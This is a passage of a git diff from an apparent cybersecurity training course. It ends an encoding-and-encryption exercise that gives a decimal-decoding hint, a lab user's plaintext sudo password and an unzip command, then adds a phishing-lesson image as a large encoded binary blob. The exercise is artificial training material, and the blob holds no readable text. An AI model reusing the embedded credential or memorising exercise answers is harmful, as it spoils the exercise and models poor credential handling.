+> Hint: The string to decimal doesn't separate the values with a space, so you will need to do that part yourself. For example: "97112112108101" would be "apple" but you need to add the separators before CyberChef will translate it: "97 112 112 108 101" + +The zip file in /srv needs sudo to access it, the user's password is "tiaspbiqe2r" (this is a secure password but is quite easy 2 remember). + +```bash +sudo unzip /srv/protected.zip +``` + +> Flag: Good luck! + +[image-1]: {{ site.baseurl }}/assets/images/cyber_security_landscape/4_encoding_encryption/image-1.png +[image-2]: {{ site.baseurl }}/assets/images/cyber_security_landscape/4_encoding_encryption/image-2.png +[image-3]: {{ site.baseurl }}/assets/images/cyber_security_landscape/4_encoding_encryption/image-3.png +[image-4]: {{ site.baseurl }}/assets/images/cyber_security_landscape/4_encoding_encryption/image-4.png + diff --git a/assets/images/cyber_security_landscape/3_phishing/image-10.png b/assets/images/cyber_security_landscape/3_phishing/image-10.png new file mode 100644 index 0000000000000000000000000000000000000000..752b0bbaaede1f765d21f41ad093526706abc655 GIT binary patch literal 527512 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

T z2!VhR&?xeXiHm;~y3pIHyM>BIOiD%eamR@&+fny#RvUCY?WNu}HgZQRO2uaJx;~6+ zS1Bk+9x54ZbbOnLC`OZ^g^6y$uXNI~RKX8PSs8S2ezkvsMC_*^9#l05(UrTmm>$nB19-&(y_mg;uqWA14kjn&2(A7k;c zzE~ItQ*Jz2YRUEf>Z)BQ2Io*3qUh)Ouse5={`f2A3z(YT?g`Dv~tN58Ax^Yx|B=Z9%?afWVri=8zJj@IyCT@kiuk-CVe zD67%%B^r@QVKiHmNjx($U?npJL6Jo=3r0a^C<3ct^{d5)N0I0)Ek13}PI0y{os(p? zI&39j%~W4J(oiRK=^Egp$_+#RslXJ7s{Vns6yZwUkBN(R79F;G&iZ7^{Q}?M`ZamR zE+kw8S?O^A8#UBjxMjt4E%JcH#T{KyVWRVjW~xTF+b++qy}r?H<>o^OBF2r->(fy8 zt7-ru0*bd12S>zD0owYx@8AYwQD?-dD`XUu#1TqzI8e;_<6vA(Q{36ItF8U>?p&2p zWeXz;M$xEL@N|GN4O9=92X#4Vf|a411GGgqeE8}>?Rnu2iSJ)4`*TtPmlIM9eDN?b zMA3mro*a+b&N2>ApM!@8xcYns7MMt<6<4-jGnfJ zfdL^g3DGr&)rtyEvWAk-^?*F3@7?Q*(seW%6O+Ph{NeOgT~#IzE<&Z>t>4R|vf1ny z%Sra(@ehx)EDaTkV8kG?Jq?_iH|sq*I#Q-Kchq^T{=mHcvYU9_#MS+BeUJfKX{q*l zy#Dgq?I)=BJbt!tR4Q~=!9orBIVtS--0kgr;`hyu^AHojuH3lz*Zwfa>-ek9H0V^> zUv?tvHT3pYe+p>0nVF{B3aW5>zQ1D9fA?}KEWc!(>uKvgb{$Vt`0n=g8h%IxN-EoO zviyURohVW`OGy-W-e&!3S8l4tz`*z&a*~S+eR^7kr+liFiq2Mw{_9-s?|-?1w@ROP zs*Qo#(Gv3zzgV?OY(_AjYmEppIPTN~%*TdZ^ON;Z7snA{psxBUt|DeJDK%D_c zn;q*Z8mCVp%F<&gH6CZhG(5J}40K3x*mJIOuRr}>SvC~HP%ONBuVc?U2+%GCq`M}L z7D2_}KAx`Q;^b&k(?r>e^&d)=x-IoB7GG^_T$W~3$5e}a=n$15sw2)8Q}PN5t<@k1 z5DDY2qCMXib!t!T55%bggcFt8CZfji7o=R77fmfb3$ym!wO>lEuNgj2HO;YfU-m6s zh5Efd`l#zA%2FctOR6G|Bk&-lsg>DROs1_d+Y8~oJJ*u40L-~_K1-yW(o%5|OkJVC z`r|NYe!Tbgv#|Iw$R*0c%Ej04TvlbRX-`Cy(dD``|L)wdvZC78{GcH;_G4zcqTC7@ zdvAd9;58n}brO!VkTrR#x+xt^yfiY5Z2oaE%wjziM>Dg%&vW#Tl^m@vV7D+)86)#5 znX(RNqpq9n)-enJux61PA5GcXd?g`)``&lC|E|&K4#5RANd67?oDwL`fAQvYDX1O^ zX-X+_&UIr>u?WSNZz&6vG2!T_l!5!|>E(Jx)37w#y~XC`wyTkyq1dQc#rvEux?jwe z9Ii&I#!_qKrAl&q-4;SzkF}hw)pmksKl9tWW;psihkVfGvH#OG|52{A7#XZ8nEkT3 z1FOqjy`hB#$6`!}t?1z3;NoF@hGqD29i7SXF~(0we^-(6 zDM~m!3kHDxtxxU0*y_r+&c2YWm{C+Yj-fGF?(m(Bppq;*ywKi2!A?=7#K_K$5&DDA zxc0QlVrW~&oN}0R6T9(dHjG#XO?&ri6)6j$>fes`FRnf-U3*RtaoZWJF&5fnPAZ}2 za42*bY;+Z`^yZxs!hI1bmbq0d9GhGa9|xv=-$`Fm6g(%(0O z>kBQK$xGjko(|u?cR?E;Za>w{S(;ncGf)5XcMl6MHkTl^%9^LDW{4x#dl>~@qe<6b zL(P3ZcU{T$p2Qb}*R$WwnwFmBOJJ@~*K7NaJ&P6h6Goi{9o4^%1qGVapTA9_V^^>J zs;!^NZmb}TEaF*r-gGamF3xh;DbMZd@M%j-Kje33`sdPr?e{ciw9>(X7d@18w`;YjDt%qN-8+bq*JJP1$lv8?794|ncakXG;5nA(v6cnBm$}zw zKiQp`mX{#~j&323IzMh>pr>r*W#CNT))t3-&iVK*f6Rh^c586{l*Mj+SshxoxHxh1 z{Aj0GwjJI5w6{OfaM8ZMTyJtaShq7>T%kixl=5q0D)yr-NxJ+23hMuGoLKZJXN;hF z8?xjJ{hLoz5Hk%)XSwL;JZSQV>T0x*M2FK$2kM>tMq}o(Yu!LZF(RpaP<~t^I7l)o z21{=qzp{$yYBdDPWRtA_hsNk%)8Xmq!ZNEaBB)pb93m|XQ>!&0eU}lej0+uFzMjo1 znuZpQj*TtYXmPP~d+#?CV$B+SFLyhbJ)W;N@Vr|k5Kg@K#G(aem-vVu2*;RiW#?BY z5a@VDNCjsAzD}B8e+MkMsvr+JrZDO2Xlp<1XWDl@ZC?ckr_|dlSgxQC6--|pDCG*T zoE1M`CLk+W937>OPonE;vYt*-CnA;M;`qh_CZgN^0Qf2g`3-hN9O*ijfgcFbs?nLd z+1K@IKG)J!28+P4rNZW}b?sEo&pmfydLKCF@YLhOVI+uBExA7{`T3o+bl*d~Z3tD^ zVQT?%Y%#jxrs?HGRb(>U^rz_Oz`#0>W9i%BiI^A<`YkL%Wzr%EIszD^MN$rsG?{YV zbP+MthoLD;b2SZ(80kZo)#l3OcKRxgh6_ahoQw?lQp~xg>t3iDzLQkwgWy7B>30i< zlb_A)P|2J)M+F2A?sUpGk0fvV{W~fjoRPWO`n9f4U#nGWB>h-c-iPqglG%~p(bgE* zvJHqyn$^~t{i)`|tkAW)r<;APg*v3Kwryj1aVcha^E{Q`j!UnFks=rGCUz`@I=1;; z<#ZMH@77yhI`(U`iTNLTFD_R0U@J3d=6}!HC@pL{IH?%GcQ{Ri92hQj+Ukp|+5S3i zb2E;MB+MX+v`v?%E~ra?^nIsdbl86TvQ)olF(jO!so<6Cy)}})Xl3xaeHpRXQ}$j; zVWl0-TGK9OkeUDInCAR%v}+%aJU?0WD$lKv4_i60ejL@2<+)xvRbL)n&vssBN;kah z^dCmcrb-GG#~PGu^>Syz{R2h^o9BNGq>J+~4@Br{ve-_qAmE4@8el}4aKL~(hpx4bj2lq76-eHC5~mHn5N!l$1++O z%y!-^Rqco$NbZzOu*@rx-0OQ$>vbPory3qVbg+!xbhac<67ve}C!cxThnEf&4w;}$ zebRuX;1L$UM{2CnYH~cCbZOVe(U@oMB?Z+s2AatoTiYXwCff?=keB*--J#Ua3qG!M zFr7ZP*ttrWA6ZmqA04KBw^`Q1m5p6Y44z{kB&tx=BDO?L5{-x`A_a~RSvWmLliOA+zz~1f?iYd0`rp2N_K%$pBaW7< zzZ-o!4o1p;4RR6nC4TmE=2p{NYByV%%FTSp#8UqKyR+fuvioIj=_Vrj{71{}Qvc`J zth2L~TCdyokoDn4WL2)QAB1d!FzTlraHV?~k?xzoPZ61-P>Cd9%H6eImEj#cI0JQs+G=Rh}9fo3Dw;Se2@<*BWgJe$@Bv2rD z)4Y?VoA>$UF&F)P?4uCe322G~6bwd;TbUy!A#X$jfT?WTjV@Dt4Gje|4UI2fa?kI_ zbHK8ohACBAIk7>@DIORzKFwdZP3MQ7Sk4SuO1dgJf6eF_>OYU&*P`t2J@o+Sp#=FRT!N-0bqXzg`31WSQ(y|tO&a^4vl`t3PZ(t|TMz4aaiC!+`xdd;at;Kg^gXwE$Nr%_L zTW3fd_CtIQ(N00D+u?HREmX*%x~QlY^N4~b)_Y{nI@eV3pgh{J0JOpqr7}qM5???e1ix|I6C8MgJNZEnSR zPqV1i_WEeA_hLi8^;gdBUzgr$i}hvI3+)oeA;P2kZhjVnoQM&~>HLptE-E={m?9oN zcJC@52Ufk>uW~9@ycrq9XJ>?GNA!&*eU7pVRf%6-zg1pV<>I-$9z6y7Ur;V^3OAHm z2;ve1jz<*FIC)eapR}pSD*T)Bxc0A)m_d`1L-um8(#<~cc>UMrcp5cX5<*8$WU!{i z{jWj}&r2#{(&Z~TE5`d%n`%}pylOpRKc?z!DlQf-M(eV(!|n|&R*ui@ENCv{cY~E% z`Z&e&O=ooyPShNWJfAR_GH$sFGQ-AE^*h#&C$xgcbQb1QL-@t4zwie7&H7#>&_oQ( z-@5T&!m{<8C?7Z+G)<>VPgGyaMacHKZnaYxXYl*&odjD|`-@0kH&o%^p(`q3|K`Ru zJgux?Ic%FT+~|~V%G?hrh(9)^TQCE_a+*z=)5F0GJd^H!a_TOe#_({WndW+TqfJX$ zq7G+@beC=nZETr^r^Q1o9v|)32uDzpCSO_<8lL-q@KDe8MzfqFS=*^g03^Svt8qr&Ga7V=;Nn(ip zyoT(q7%l8%!DQS~VIWDjF$>n^yK0tT7n{$BaKFNq>(qZCAxlw8fCu{WM2ba7*B*b4+#zJ##Rcp6S5*;+Qu5ug!&}UVTE@G6XEv(!!|3L)QJe3V&Detw({%f7K6nu zAAM2Y0aUU5W*o?VWhsDh&YpV~@vWVQ#fxkh71A?N^xoU^=J~y^FgHJ19=PYvi8;xP zWnr`^TyarSKss)B;K!I~`CMMNJ(`*m-?RI*vZw{$;!o)^p(uf50^rQFi%)_0wMpy) z@|coPc`5Ds(uxHIsfrZrU@`d9(=Vkog@uKt$#SEhd@(Xgm1<>1Z~_?>6$UA?C}|L@ zL`rdxF~q3X?UzgkL^q`|2?l{qSz1Baz@X0a_+hztE_E{d@a%{K04mo8Hh(hEe3rFd z_-(hQ<9mT(zh+(Wdtztdv7qk3OF(J*rCRL*BR!2EHp9Vmu-eP~aetH}ao{4n!lF7i zHf>XDB&J($TFcFqG~osbSy!`h`($EzWZM2D&p}h@D)-gtD&-ojsW`^Wga7P1f zr`yi5#vG0@JW!@Z&;OzO)iq2@>kCGhLDq1b@u#(EHt}&VV#LhEROPp3k?@&zjpPQN zM=FrVh`cxbe!bI4!GoE`9!uxt#tD#AUOQhViyJ;uUY-yU@Wr5fY42+@{mPLMy%tzv zW<;8iKo0XbK8E4v-U`v}Q@x$ix02h-In%-!{c%>5E^iRb+ewNG$Pj=Shv(oE~iopFhl z4tY&hgjnmV_{Y##n9}8r#11Ahf58cYz5RepogE${g~s79dIi}EME>naoft#2O{jiz zJ6u@(mTkoN1 z+PvHp`1Dp+a5JZ6cR)WQJ`fJh-4KwEZ38{cI4>&|1_(#zHH z=UdwAaaENnS0QUM^5+sq;ivy*vhxCSRtG1Jf>tj%6%%Vh6sVq3?2CoFeG6j^t&LXu z$-nd)|1JzT8_P4J0E)<)55>CF`$QzyUQI_=K^zse46miHEyT@s$g!NVLnuDn z1Cf#74*G+MiR@3zjB2~s>8mZic3qKLW6+fqQL2&GSyVnAj_RJvJB!CyJuUp2n`@}; zI=Awpt;E}AMTuzMLN;Uhs1s_sJuald=WRBARMq9L z;sOBmM>&ZSk~EbQD=|3;gJMH{|LC7`*Qs+G2TZkoA4g#v1D&`ATU3lY1QFIu7yeJ{ z0>9W`fu02~rC0^e9BN^{)s4Vh0UVm{`e(z!^1)i?V_UFxZGt!$1USi*LY=G$0~Dc5p*KoE!iE z8HS#%B;)c|^AraLF#CD}suMoZw7Mz;0Al^mmh^@aTg{IWBCP8+>};$?&DB*Ob!A&# zd@s%EUK-}VSqHE92yV4&ho^;2W75I{d1foBItgho2bq{+mNVLioMv7yf;6Jdi~a6R zt4aS^qNlGiDxzuWGoRNc^rC&43bje^#7+8Fq>>R$k`??ripK)BoU}-T~b{#Mqh?K%_?)lyT zj1L_K7mBG%7yZDNjf>ecf0`Yd3W;vAI!?LP<*|~BiH#=yqC|VZWfCM6)>?2CE}^JiqVB%o`)db@d3> z5(5cB7Bt?KxzewUh>&rm$kNi;%@j( zz7Z>oQYR`w`>$RBKl}0w8SJ+*+mF|sh|&2|2p3HM=MeB&yBpuIHD=d#YPiH`^9L<3)Kc~ZinXd$=pS! z4i|4}hOI*GQ|QL~As-6HF-_3w2nWeWCRAEDKrNeYLc+8RGB|#ZcT&IK+{6&MigKWI zomns%QSyy%S?CZwm><@H|lT32^M#}40)iKXvpSK z)FaH@D%fvICLSrml`!VV;fi*p%GY`=gI)VsWqs4xV12Fnc;(1L#n2zu>D%hObCYe) zNx6OT&&99E_P$+Tj&9oB+JW_JN~LXi{nO-R;k(b-bG`dG$;o1A5PtTZlqySFK3@in z+TAjq7T!>yv%?H#oh2<_Oa2lR?vpjub$2rxK@fxNC_@AYcG^h6N(OPJa8^ZMVSK9= zHX(aEqImE9M?G@ozJ$AEq9Use$`Z`2{S;7|^a@wSg608Zwij#sg?3AEXJvK4=00r- z?iWq?)r*mENJgj$m3^iDlxc3vgXsq~92Oh&&=B8Gd!D_Q5A-bT**OH^5z)naIFkPH zE)##-l7Z@3CLhTh{fBWpsCH$WqM;U28a>ePMyfYUwVy{F) zf}{Q=#D*v$^Dl0TYw72Rm#Zjw|J$8I(3D+*K@lxVkm`U^E+SGToge#m)g=y167zYR zyUiz(TLQ|6wy307X*DZ(4=}8j8}2rl(SUyfDgP&`4;6W>1FAO;Q$7Ag0y8sOdOEzB z@-FV~@8937xYe?P=~2l~83W_(x^59{>W+i3X*R8_^AZ6c}{0t*c34ZtP-Oahu zZETdyVtc)-WS|*ex&%8rhc%}RSp&hRfsh`kgsDppQc+@=3%&ErNw5~BXb`HCrGpE^ z!^CrC^oYu}*QoczW_$lSMjCQ++4Oet7hay$$SFoS;t$6b_no zv^qN5+PZ$%8&+Bpe!$OJZmss5I5LB8?smFYW%so)*}lB@hpZ-jYCB%LOk=2=F>m+y zGym_m!}*JD+e-~v&Hg}J!&-~f{s++DEt$GO_jPna3GF-N0QkDhcazZ;=08}JIL|zN zlzO9@>5txs9IjIkJrE-97o7X_#?*1fuhMj%xO{EDJ`n;*RgY6{)%qQbJtOMN^{}GB z)NDj@98WwJ;gYX|r^#sGY#n;en)oC>3=}!q0ktl2TRESn>%qg}3fzhhrxmzBEBmM*Ip( zE>m;7l^h$j7@_8dM$phzGG}p}{N-hMtN)vJnMb#Fa`AJ4e&*{7M=5kY}LPg4d3Y}}O9S^@<<@dCv z)mK+(@Euz@=RQ{cUSzp_*V{$8Xz2Ij|5|_~1c+I4CaL1Z zdxLflTPJopNkkC>G3>N8B!7PZ$;pd>QIS3vS@~g?2nZ(U=laBjrQhT`D?k44HfDTW zLUCMPR)QL|>0m75sqj2_s`OBOMud;4*mEa6E=vmD6MQQONYlWy9f$p2hC(qg*bvEz z;-rX@j*gNUqFr&&(Bv?v3ifyv2c0>ra-)BIog3{_{$5ks{o^@he)M`qvj-+Fr>6LB zbZ_FZXWVEh<@`}qdMqI)7lu+iqt~#-ZO+V58HfocKJGZiB z^O2k{Vxod`VC3iE<>ch$XXECc-4OP^?z=`Qtww(z^(_a+_+CPy2rLS%@mZ-$*Ru9= zsNJ~Irtq+z%%? z@=SMqNLC&3FI$$BZ0F!Sc|n5QYYAf&6=3bKj)7)n>blrFF`YOo8E22mSTga)=kCsF zJXbDQ>6N;fLj4`n*~3uzL&N(0y&n_F;pFJ`OHUNG0?yHNThLjpAp0<+u#O9KvjQGrg(VqQ0$d5WJoDzlZC@ zFD0r{7OnebANDwfobFAAnldTGIS7kTQ-Untx}M}Ye|sS_R$^8Hq7J2@pF7&AO}b=a z-*22`g#9rxOQ*QDIjD0U`ZkmPXQ1^sDJ3Le^n+cu)BfP@?(Votgc+%_R^HQLJP{s$ z_4S|{!PLYZKJxOi!cS`c_JW<~=V!KB`Q7>Ca5z{*EAh%2Q*uHD^CDXYVSeK9NqMwb z`DlfXL8ZwkB{aqMFwlsSQuNxN$e*Q{1>bpX;sw_6$~M&JT~EfL-2C$!Y>vBAk`jM>zHc!}@Wef`}=taG*u3Cy&9p1&lwjeXt{M}6l zMs_x?Y!e22dQ_*%?pswa`vqynk4nX?S~@m`cqDC3*NZ>tQZcBgAKTl>;Yh3U1iW1# z?8QyWDFU+s;B=WkB*x}9?iw)v8#wXJgQSi%R1Bpt%p(QSgXwkZI<0mx%nqfW`q~(L zC}wFH=_sAK)!pi7w2f3YPp=Q9xqG}stpdK zq-GJh^Atz{R_kY05a6hoXt=AykL({2h7{JzD@M5C>{F9p)>dVut*f>cp)saeWu@Qn z?LI@J%6gvBu*3Iyl*@Wd)_O8m$o+I%lAM!$lhDZ~Sc-zR)<_+d777O@h1~k~-_JdI zA;hEsBC>SKtQ-V|K7J-P31P^Q$kt!22{Q?Gbuw0#myf<4kNi1auqPJy#{W@{gM)%W z&a*4tX*&F}?E*JInt@6=j!bFkJKYZ_jjpplfph#Oav+(g2XPyo`-e< zyn*deVvB%HkK}1cvPlT4oC!wK%$44bRz_4|T$Ce$vg~gI@Ca_@(rvPn3e-Lz4|PpA z|MsF_KfL?y!1ieV=LX3cq4c}*OhV1y;ftG_bGp;^YOW_LDN}LK(Sg1bvqmyi1&kX-H8WZbf2I^MU2)PjT@w)Ya$UJW3l4?} z(KDkF=WqGBx^};Mg^u4@aTttadcYKM(uEZTZK%5&NlX=9^7~#`xZS^N zd+bsQNmlj#Y;r5MF;9L+Snic7Re1XH1U&g z4+nljZkwu)pQnQ!)6TAZ@HADdj>qg@4kNQMnw%n0jauo(n9}f)hX94+e>mU7qLq-)qpc>1!tMM^unQ zNdv>!@iZs^Dpo@FE)m=Th;*Lnj0w013BMj*9-r>Z6QwTOVY6f%EnIcqzvC=#6%1lwIsqKAxe+%gz9AfI zc*!I4HTTD3Oig|JEAaAZs{PUYJUcFk@@*0#NCD9cF-%o*VC`sXIlp;X=X9poO}D9u znYeYy>ztJxDeec)(#VgtW9@_6AqA}f3JsCxuGha*ZMOsmZO7h|&V$MYtw+o6zx4ji zn*7>;tYf6DOogK!vT&%MfEW>YK+76ciCNCd=zuDx9)~Sy4*koB5;2Up?2AFmiV%V+ zX#&+iqQOE3c#j~WDM$=h=up-?gA`f>B@fHd$}8Ax7${X#0WIp7avYsFm1J>}1LG6` zrpF}5(&+aOt>j0tpdc=!=MQENqEBTezr9~YaqEyE8o~Ol<3GLEXrdwf62+p&*!`94BjTPbDW17jAT126)tB3$1B;Svg@ z1#3~oHOS?H`1O(w8bQhU+7N%3kVIZdV>8V?0&V4yRJ3End?FAva?mgLkFaMd4HAyA zG@6JNU{PaEIQ%L>Bh{*M*+W5TDXqOOqum!pCslcJ}S__;=H&vShs;KYTsr#vVX>3!bi z?-5jLWM5hpRE6xLmzu}a&l&_FjQ8oB9jl;yK z4BV{L3bc2|*Mkq1d?)M_C(#q8U!H@0*&M?+JL@sruhk%@=sMmIU1ljw+2`3LHF9gTT zSv4}6sjI+=LCs+B3mks`R1@R%$I_6;emfQTVUU1$s|S@iLt)j`Gi5YlR4&O3M@)kN z3f44&XHrsE?zUMt?2Vy6gQrN#*CB&JPNGea@CS$Bc*KAU0xHYvk$Y-Ufp}~jXe}cw z9JaDd=)I z(O@w#Sp-DL^2Gq(&-R+|`x1JKxrT%Le3pwv17Vc`=5d^3=Dhx`;SsvUb~8T(g+xYn z;tEWoHP}{3l>&7$?VKH64GnC``}*evq3+H+%n(>0m_Dgoa0rnRMLj=4j6hi(5W^`~ z6<1d9{(oEm!2Oj$CIKH^U6wCoiEeR;jQriKwgA6QXS1G$Htc*+Ux&n6N6oA$*1 z5QV4~wBwlu_nP70hp2**sOZgT`!Pom0f}ODr)4_1G#0~CvOHB#pxSJEhxT;uhyg*2 z^R1hTdNNq{|6}hhyV?x4u;Cjhh2kwxtU!(8UR(nXS*~ctaMp>H=^z}*vNUZ6| zs5qjZ<0WCwEtC5`hxfBMeoU+!p7TkV3usYC{@dsHO~$SECd|T-ku0n;M5-jWL_Uv- zR*q1nHBRdyMO}DnF%T)W>l9A4GFmg6GVr@1Fo98W}#f zWwa`?__-GZS3Kt8{`;+JL{B-BHVG;8^{M4((XAFh5``SQ7SU(CW0)px@Xzm5Z}Wu# z1MQChj6(5I=eif8cxsF9PUms8lm7j3gGx3kHfvhNWZR9Hvw|yT667JhiT}6ei1U_B zB5(2+UWHP=4x>0!L$8EJc>aetP2PmEFyVU zqH;e`2nQ{|behZHdM^w&-;k+0fuecE+!aiLU0|ag{&cw>zp&QwmL-;mM3p*T1<0X5 zE?#H<>UL0sHog*W1fj(VHX)Tc7LyBi+sI=>H9;CfrHBckuUcQpM)$C;VOKj`%Y)po zFsUd>OO8%1tuq{0cKhT%Ba_zIRIt#kuwdF0VL*u<9J0KPu=7a8Z@m79BVQx|0F9-2 zNq`or%}^c@!_$@jBJBZ->_X`PKZ&3bEI)}4OM5Aq%T)^JwQTd5E+cvRbfDv8|Jf=k z-~Kq?orWUnye20<$y?m!&9aR$qGo4px|{&z#6bOpFw;O=FJ-8=`bqzvYA$ka$Cdr2 zUbCyEq2r;c3L5C(M#|n=jmVve|M3?hxj#Ce#zZKa4meiRq<;jLrz6V)}8Nvs}6)svfV}#;Z*Qou#+88~O()l>3vG(QWT`8H= zRa4ZJ0RS804N*6?M6>NM z%i%9krEFgy67kTx{fgv`QQkjz*hPxnXU9mnB%fRLLa>;3x;vr0Y>B&2i3Vm+=t#wM zaz*9#yZ>y(a)iH}xdb@2>ZxmL?BlPm$oNy)>fJ{!m!XTU<%_2rFD4%Trzr}#B`!Gs zvmy8Fw4XmmtA{sbK#iinY}?)}!NH!J^A3{c+5S5^6ms4F?;&<>|E~;4zxe^>f9L6Hjy?MMP&L<3 z()bRThY-wdl)Nq)kA)Nc6_S4438Vgx@wF|!)z+i>vKjcb6G^va8l%H8BmkIQH;5zi z{?o=-Ls~9dNy)J!ta`W3y+vWmXWJ z(fGV1j%Y9LgqZ(X#gbigE+5Hf?4L?}B=T4ferCc%1(JH^V_vK-cGl7$^W=Gw`CitL7pXvU|q=GeB&x<(f~5m zRZgK06t6I2pswufK%p{9s#H7VWj&!M+%IXzETx2gzyL zz$fsieawuk+tjj9)=e>|9&Up>QrZn?io3n7`iO6eDaJ6|UR&2W-u%eEaWLQm!Z;A~ z=Qrm{rKM5@n1A`8e;Ux+7!fbnnHcOKekw4$Ck|%82huS~q5&}udb?^xtS`W^r1v^p zvD;Ca5D{3m$G*7E$ec`D?P`+qusJz5Bxr&dq3udq|p{lWVXB1kE^?fVAKEK3Iu)N%1RzJr9N@n9_?v_;x<=ihPK6pP5Cgu7Ip^iA;m(Da@@TgeA5kL5L zab#R$r=~%UuA14{zuS_@uDz$;xMz=M6^lk*pIMTfnpw#5Y=dCIp$2kAw+qGH*XMgO z#&cti-y^5HL*LFN?IHwOd(7Ku3>~GKyt`SQ&qcNrZAM%7I;pYf65uH!Xi)fWzri_! 